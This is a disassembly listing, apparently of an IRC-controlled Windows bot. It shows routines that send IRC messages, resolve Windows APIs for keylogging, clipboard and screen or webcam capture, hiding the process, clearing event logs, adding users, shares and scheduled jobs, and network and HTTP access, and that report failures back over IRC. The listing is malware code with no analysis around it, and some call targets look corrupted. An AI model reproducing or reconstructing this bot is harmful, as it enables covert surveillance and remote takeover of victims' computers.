; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A72 proc near ; CODE XREF: sub_401ACD+518p
; sub_401ACD+137Dp ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409A8D
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409A8D: ; CODE XREF: sub_409A72+14j
push edi
call sub_41AFE0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41AFE0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CAFC4
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409B10
push 7D0h
call near ptr 26703BBh
nop
locret_409B10: ; CODE XREF: sub_409A72+91j
leave
retn
sub_409A72 endp
; =============== S U B R O U T I N E =======================================
sub_409B12 proc near ; CODE XREF: ___:0040126Cp
push ebx
push ebp
mov ebp, dword_42709C
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4270BC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409C32
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CB020, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CAF94, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CAF78, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_4CAE88, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CAE34, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CAE64, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CAEDC, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CAFD4, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CB030, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CAE94, eax
call esi
cmp dword_4CB020, ebx
mov dword_4CAE7C, eax
jz short loc_409C10
cmp dword_4CAF94, ebx
jz short loc_409C10
cmp dword_4CAF78, ebx
jz short loc_409C10
cmp dword_4CAE88, ebx
jz short loc_409C10
cmp dword_4CAE64, ebx
jz short loc_409C10
cmp dword_4CAEDC, ebx
jz short loc_409C10
cmp dword_4CAFD4, ebx
jz short loc_409C10
cmp dword_4CB030, ebx
jz short loc_409C10
cmp dword_4CAE94, ebx
jz short loc_409C10
cmp eax, ebx
jnz short loc_409C1A
loc_409C10: ; CODE XREF: sub_409B12+B8j
; sub_409B12+C0j ...
mov dword_4CB034, 1
loc_409C1A: ; CODE XREF: sub_409B12+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_4CAFAC, eax
jz short loc_409C47
push 1
push ebx
call eax
jmp short loc_409C47
; ---------------------------------------------------------------------------
loc_409C32: ; CODE XREF: sub_409B12+1Dj
nop
call near ptr 2670D70h
mov dword_4CB038, eax
mov dword_4CB034, 1
loc_409C47: ; CODE XREF: sub_409B12+117j
; sub_409B12+11Ej
push offset aUser32_dll ; "user32.dll"
call near ptr 2690C07h
nop
mov edi, eax
cmp edi, ebx
jz loc_409D5C
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CAFD0, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CAF80, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CAF14, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CB024, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CAF44, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CAF64, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CAFC8, eax
call esi
cmp dword_4CAFD0, ebx
mov dword_4CAEB4, eax
jz short loc_409D00
cmp dword_4CAF80, ebx
jz short loc_409D00
cmp dword_4CAF14, ebx
jz short loc_409D00
cmp dword_4CB024, ebx
jz short loc_409D00
cmp dword_4CAF44, ebx
jz short loc_409D00
cmp dword_4CAF64, ebx
jz short loc_409D00
cmp dword_4CAFC8, ebx
jz short loc_409D00
cmp eax, ebx
jnz short loc_409D0A
loc_409D00: ; CODE XREF: sub_409B12+1B8j
; sub_409B12+1C0j ...
mov dword_4CB03C, 1
loc_409D0A: ; CODE XREF: sub_409B12+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CAF40, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CAE48, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CAF10, eax
call esi
cmp dword_4CAF40, ebx
mov dword_4CAEF8, eax
jz short loc_409D67
cmp dword_4CAE48, ebx
jz short loc_409D67
cmp dword_4CAF10, ebx
jz short loc_409D67
cmp eax, ebx
jnz short loc_409D71
jmp short loc_409D67
; ---------------------------------------------------------------------------
loc_409D5C: ; CODE XREF: sub_409B12+144j
call near ptr 2670D70h
nop
mov dword_4CB040, eax
loc_409D67: ; CODE XREF: sub_409B12+232j
; sub_409B12+23Aj ...
mov dword_4CB03C, 1
loc_409D71: ; CODE XREF: sub_409B12+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409F2A
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CAFE4, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CAF28, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CAF98, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CAE74, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CAED8, eax
call esi
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CAF50, eax
call esi
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CAEF4, eax
call esi
cmp dword_4CAFE4, ebx
mov dword_4CAF04, eax
jz short loc_409E1A
cmp dword_4CAF28, ebx
jz short loc_409E1A
cmp dword_4CAF98, ebx
jz short loc_409E1A
cmp dword_4CAE74, ebx
jz short loc_409E1A
cmp dword_4CAED8, ebx
jz short loc_409E1A
cmp dword_4CAF50, ebx
jnz short loc_409E24
loc_409E1A: ; CODE XREF: sub_409B12+2DEj
; sub_409B12+2E6j ...
mov dword_4CB044, 1
loc_409E24: ; CODE XREF: sub_409B12+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CAF58, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CAF30, eax
call esi
cmp dword_4CAF58, ebx
mov dword_4CAFE0, eax
jz short loc_409E5F
cmp dword_4CAF30, ebx
jz short loc_409E5F
cmp eax, ebx
jnz short loc_409E69
loc_409E5F: ; CODE XREF: sub_409B12+33Fj
; sub_409B12+347j
mov dword_4CB044, 1
loc_409E69: ; CODE XREF: sub_409B12+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CAF68, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CAE50, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_4CAE58, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CAEBC, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CAEC0, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CAE6C, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CAF34, eax
call esi
cmp dword_4CAF68, ebx
mov dword_4CAE5C, eax
jz short loc_409F0D
cmp dword_4CAE50, ebx
jz short loc_409F0D
cmp dword_4CAE58, ebx
jz short loc_409F0D
cmp dword_4CAEBC, ebx
jz short loc_409F0D
cmp dword_4CAEC0, ebx
jz short loc_409F0D
cmp dword_4CAE6C, ebx
jz short loc_409F0D
cmp dword_4CAF34, ebx
jz short loc_409F0D
cmp eax, ebx
jnz short loc_409F17
loc_409F0D: ; CODE XREF: sub_409B12+3C5j
; sub_409B12+3CDj ...
mov dword_4CB044, 1
loc_409F17: ; CODE XREF: sub_409B12+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_4CAE54, eax
jnz short loc_409F3F
jmp short loc_409F35
; ---------------------------------------------------------------------------
loc_409F2A: ; CODE XREF: sub_409B12+26Aj
nop
call near ptr 2670D70h
mov dword_4CB048, eax
loc_409F35: ; CODE XREF: sub_409B12+416j
mov dword_4CB044, 1
loc_409F3F: ; CODE XREF: sub_409B12+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A00B
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CAF60, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CAFB8, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CAFC0, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CAF7C, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CAE98, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CAE44, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CAFBC, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CAE30, eax
call esi
cmp dword_4CAF60, ebx
mov dword_4CAED0, eax
jz short loc_40A016
cmp dword_4CAFB8, ebx
jz short loc_40A016
cmp dword_4CAFC0, ebx
jz short loc_40A016
cmp dword_4CAF7C, ebx
jz short loc_40A016
cmp dword_4CAE98, ebx
jz short loc_40A016
cmp dword_4CAE44, ebx
jz short loc_40A016
cmp dword_4CAFBC, ebx
jz short loc_40A016
cmp dword_4CAE30, ebx
jz short loc_40A016
cmp eax, ebx
jnz short loc_40A020
jmp short loc_40A016
; ---------------------------------------------------------------------------
loc_40A00B: ; CODE XREF: sub_409B12+438j
nop
call near ptr 2670D70h
mov dword_4CB050, eax
loc_40A016: ; CODE XREF: sub_409B12+4B9j
; sub_409B12+4C1j ...
mov dword_4CB04C, 1
loc_40A020: ; CODE XREF: sub_409B12+4F5j
mov ebp, dword_4270B8
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A2DC
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CAEE4, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CB018, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CAE84, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CAE60, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CAF20, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CAF08, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_4CAECC, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CAFF4, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_4CB010, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CAF1C, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CB000, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_4CAFB4, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_4CAF74, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_4CAF70, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_4CAEA4, eax
call esi
push offset aSend ; "send"
push edi
mov dword_4CAE9C, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_4CAFC4, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_4CAFD8, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CAF8C, eax
call esi
mov dword_4CAF4C, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_4CAFA0, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_4CAF5C, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_4CAF9C, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CB008, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CAF54, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_4CAF18, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CAF88, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CAFF8, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CAF2C, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CAEC8, eax
call esi
cmp dword_4CAEE4, ebx
mov dword_4CB00C, eax
jz loc_40A2E7
cmp dword_4CB018, ebx
jz loc_40A2E7
cmp dword_4CAE84, ebx
jz loc_40A2E7
cmp dword_4CAF20, ebx
jz loc_40A2E7
cmp dword_4CAF08, ebx
jz loc_40A2E7
cmp dword_4CAECC, ebx
jz loc_40A2E7
cmp dword_4CAFF4, ebx
jz loc_40A2E7
cmp dword_4CB010, ebx
jz loc_40A2E7
cmp dword_4CAF1C, ebx
jz loc_40A2E7
cmp dword_4CB000, ebx
jz loc_40A2E7
cmp dword_4CAFB4, ebx
jz loc_40A2E7
cmp dword_4CAF74, ebx
jz loc_40A2E7
cmp dword_4CAF70, ebx
jz loc_40A2E7
cmp dword_4CAEA4, ebx
jz short loc_40A2E7
cmp dword_4CAFC4, ebx
jz short loc_40A2E7
cmp dword_4CAFD8, ebx
jz short loc_40A2E7
cmp dword_4CAF8C, ebx
jz short loc_40A2E7
cmp dword_4CAF4C, ebx
jz short loc_40A2E7
cmp dword_4CAFA0, ebx
jz short loc_40A2E7
cmp dword_4CAF5C, ebx
jz short loc_40A2E7
cmp dword_4CAF9C, ebx
jz short loc_40A2E7
cmp dword_4CB008, ebx
jz short loc_40A2E7
cmp dword_4CAF54, ebx
jz short loc_40A2E7
cmp dword_4CAF18, ebx
jz short loc_40A2E7
cmp dword_4CAF88, ebx
jz short loc_40A2E7
cmp dword_4CAFF8, ebx
jz short loc_40A2E7
cmp dword_4CAF2C, ebx
jz short loc_40A2E7
cmp eax, ebx
jnz short loc_40A2F1
jmp short loc_40A2E7
; ---------------------------------------------------------------------------
loc_40A2DC: ; CODE XREF: sub_409B12+51Fj
call near ptr 2670D70h
nop
mov dword_4CB058, eax
loc_40A2E7: ; CODE XREF: sub_409B12+6BEj
; sub_409B12+6CAj ...
mov dword_4CB054, 1
loc_40A2F1: ; CODE XREF: sub_409B12+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A3F6
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CAEB0, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CAE38, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CAF3C, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CAEE8, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CAF48, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CAF0C, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CAE78, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CAE70, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CAE80, eax
call esi
cmp dword_4CAEB0, ebx
mov ecx, dword_4CAF0C
mov dword_4CAFA8, eax
jz short loc_40A3D2
cmp dword_4CAE38, ebx
jz short loc_40A3D2
cmp dword_4CAF3C, ebx
jz short loc_40A3D2
cmp dword_4CAEE8, ebx
jz short loc_40A3D2
cmp dword_4CAF48, ebx
jz short loc_40A3D2
cmp ecx, ebx
jz short loc_40A3D2
cmp dword_4CAE78, ebx
jz short loc_40A3D2
cmp dword_4CAE70, ebx
jz short loc_40A3D2
cmp dword_4CAE80, ebx
jz short loc_40A3D2
cmp eax, ebx
jnz short loc_40A3DC
loc_40A3D2: ; CODE XREF: sub_409B12+87Ej
; sub_409B12+886j ...
mov dword_4CB05C, 1
loc_40A3DC: ; CODE XREF: sub_409B12+8BEj
cmp ecx, ebx
jz short loc_40A411
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_4CAF24, eax
jnz short loc_40A411
jmp short loc_40A40B
; ---------------------------------------------------------------------------
loc_40A3F6: ; CODE XREF: sub_409B12+7EAj
call near ptr 2670D70h
nop
mov dword_4CB060, eax
mov dword_4CB05C, 1
loc_40A40B: ; CODE XREF: sub_409B12+8E2j
mov dword_4CAF24, ebx
loc_40A411: ; CODE XREF: sub_409B12+8CCj
; sub_409B12+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A45B
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CAEFC, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CB02C, eax
call esi
cmp dword_4CAEFC, ebx
mov dword_4CAE8C, eax
jz short loc_40A466
cmp dword_4CB02C, ebx
jz short loc_40A466
cmp eax, ebx
jnz short loc_40A470
jmp short loc_40A466
; ---------------------------------------------------------------------------
loc_40A45B: ; CODE XREF: sub_409B12+90Aj
nop
call near ptr 2670D70h
mov dword_4CB068, eax
loc_40A466: ; CODE XREF: sub_409B12+939j
; sub_409B12+941j ...
mov dword_4CB064, 1
loc_40A470: ; CODE XREF: sub_409B12+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A577
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CAE68, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CAE40, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CAEB8, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CAEEC, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CB004, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CAEA0, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CAE4C, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CAE3C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CAED4, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CAFCC, eax
call esi
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CAF84, eax
call esi
cmp dword_4CAE68, ebx
mov dword_4CAEA8, eax
jz short loc_40A582
cmp dword_4CAE40, ebx
jz short loc_40A582
cmp dword_4CAEB8, ebx
jz short loc_40A582
cmp dword_4CAEEC, ebx
jz short loc_40A582
cmp dword_4CB004, ebx
jz short loc_40A582
cmp dword_4CAEA0, ebx
jz short loc_40A582
cmp dword_4CAE4C, ebx
jz short loc_40A582
cmp dword_4CAE3C, ebx
jz short loc_40A582
cmp dword_4CAED4, ebx
jz short loc_40A582
cmp dword_4CAFCC, ebx
jz short loc_40A582
cmp dword_4CAF84, ebx
jnz short loc_40A58C
jmp short loc_40A582
; ---------------------------------------------------------------------------
loc_40A577: ; CODE XREF: sub_409B12+969j
nop
call near ptr 2670D70h
mov dword_4CB070, eax
loc_40A582: ; CODE XREF: sub_409B12+A11j
; sub_409B12+A19j ...
mov dword_4CB06C, 1
loc_40A58C: ; CODE XREF: sub_409B12+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A5C1
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CAE90, eax
call esi
cmp dword_4CAE90, ebx
mov dword_4CAF6C, eax
jz short loc_40A5CC
cmp eax, ebx
jnz short loc_40A5D6
jmp short loc_40A5CC
; ---------------------------------------------------------------------------
loc_40A5C1: ; CODE XREF: sub_409B12+A85j
nop
call near ptr 2670D70h
mov dword_4CB078, eax
loc_40A5CC: ; CODE XREF: sub_409B12+AA7j
; sub_409B12+AADj
mov dword_4CB074, 1
loc_40A5D6: ; CODE XREF: sub_409B12+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A60B
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CAFF0, eax
call esi
cmp dword_4CAFF0, ebx
mov dword_4CAFEC, eax
jz short loc_40A616
cmp eax, ebx
jnz short loc_40A620
jmp short loc_40A616
; ---------------------------------------------------------------------------
loc_40A60B: ; CODE XREF: sub_409B12+ACFj
nop
call near ptr 2670D70h
mov dword_4CB080, eax
loc_40A616: ; CODE XREF: sub_409B12+AF1j
; sub_409B12+AF7j
mov dword_4CB07C, 1
loc_40A620: ; CODE XREF: sub_409B12+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A67F
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CB01C, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CB014, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CAFDC, eax
call esi
cmp dword_4CB01C, ebx
mov dword_4CAEAC, eax
jz short loc_40A68A
cmp dword_4CB014, ebx
jz short loc_40A68A
cmp dword_4CAFDC, ebx
jz short loc_40A68A
cmp eax, ebx
jnz short loc_40A694
jmp short loc_40A68A
; ---------------------------------------------------------------------------
loc_40A67F: ; CODE XREF: sub_409B12+B19j
call near ptr 2670D70h
nop
mov dword_4CB088, eax
loc_40A68A: ; CODE XREF: sub_409B12+B55j
; sub_409B12+B5Dj ...
mov dword_4CB084, 1
loc_40A694: ; CODE XREF: sub_409B12+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A6C9
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CAEE0, eax
call esi
cmp dword_4CAEE0, ebx
mov dword_4CAFE8, eax
jz short loc_40A6D4
cmp eax, ebx
jnz short loc_40A6DE
jmp short loc_40A6D4
; ---------------------------------------------------------------------------
loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj
nop
call near ptr 2670D70h
mov dword_4CB090, eax
loc_40A6D4: ; CODE XREF: sub_409B12+BAFj
; sub_409B12+BB5j
mov dword_4CB08C, 1
loc_40A6DE: ; CODE XREF: sub_409B12+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A767
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CAFB0, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CAFFC, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CAF38, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CAEF0, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CAF90, eax
call esi
cmp dword_4CAFB0, ebx
mov dword_4CAF00, eax
jz short loc_40A772
cmp dword_4CAFFC, ebx
jz short loc_40A772
cmp dword_4CAF38, ebx
jz short loc_40A772
cmp dword_4CAEF0, ebx
jz short loc_40A772
cmp dword_4CAF90, ebx
jz short loc_40A772
cmp eax, ebx
jnz short loc_40A77C
jmp short loc_40A772
; ---------------------------------------------------------------------------
loc_40A767: ; CODE XREF: sub_409B12+BD7j
nop
call near ptr 2670D70h
mov dword_4CB098, eax
loc_40A772: ; CODE XREF: sub_409B12+C2Dj
; sub_409B12+C35j ...
mov dword_4CB094, 1
loc_40A77C: ; CODE XREF: sub_409B12+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A7B1
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CAEC4, eax
call esi
cmp dword_4CAEC4, ebx
mov dword_4CAFA4, eax
jz short loc_40A7BC
cmp eax, ebx
jnz short loc_40A7C6
jmp short loc_40A7BC
; ---------------------------------------------------------------------------
loc_40A7B1: ; CODE XREF: sub_409B12+C75j
nop
call near ptr 2670D70h
mov dword_4CB0A0, eax
loc_40A7BC: ; CODE XREF: sub_409B12+C97j
; sub_409B12+C9Dj
mov dword_4CB09C, 1
loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409B12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CB034, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A816
push dword_4CB038
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A816: ; CODE XREF: sub_40A7CE+1Aj
cmp dword_4CB03C, esi
jz short loc_40A84A
push dword_4CB040
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej
cmp dword_4CB044, esi
jz short loc_40A87E
push dword_4CB048
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A87E: ; CODE XREF: sub_40A7CE+82j
cmp dword_4CB04C, esi
jz short loc_40A8B2
push dword_4CB050
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j
cmp dword_4CB054, esi
jz short loc_40A8E6
push dword_4CB058
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj
cmp dword_4CB05C, esi
jz short loc_40A91A
push dword_4CB060
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej
cmp dword_4CB064, esi
jz short loc_40A94E
push dword_4CB068
